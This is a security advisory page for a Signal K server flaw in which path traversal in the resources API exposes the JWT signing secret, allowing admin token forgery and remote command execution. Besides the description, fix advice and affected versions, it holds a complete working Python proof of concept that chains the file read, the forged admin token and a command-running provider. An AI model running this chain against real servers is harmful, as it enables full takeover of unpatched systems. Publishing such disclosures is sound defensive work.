Advisory

GHSA-4xm8-rg9h-jhq2

Also known as: CVE-2026-123807

Summary

Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution

Details

Summary

Path traversal in the Signal K resources and applicationData APIs lets an
unauthenticated or low-privileged user read, write and delete files outside
the storage root. Reading <config>/security.json discloses the JWT signing
secret, enabling admin token forgery and remote code execution.

Details

Description

The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).

Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:

  1. Read `<config>/security.json` — disclosing the JWT signing secret (512-hex) and user password hashes.
  2. Forge an admin JWT — HS256-sign {"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953).
  3. Gain remote code execution — POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.

On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.

Suggested fixes

  1. Validate resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE.
  2. In FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path.
  3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
  4. Consider gating provider types that execute commands (Execute) behind an explicit opt-in.

Proof of concept

Fully local testbed. Start the server, enable allow_readonly=true, then run:

#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD  = "id > /tmp/sk-pwned"

# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
        "options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
                             headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists

Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.

Impact

Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-10-30 22:57 UTC
Modified
2026-11-09 20:45 UTC

Affected packages and fixes

signalk-server

npm · All systems

Affected

  • introduced 2.0.0, fixed 2.34.0 (semver)

Fixed versions

2.34.0

Fix

@signalk/resources-provider

npm · All systems

Affected

  • introduced 1.0.0, fixed 1.5.3 (semver)

Fixed versions

1.5.3

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences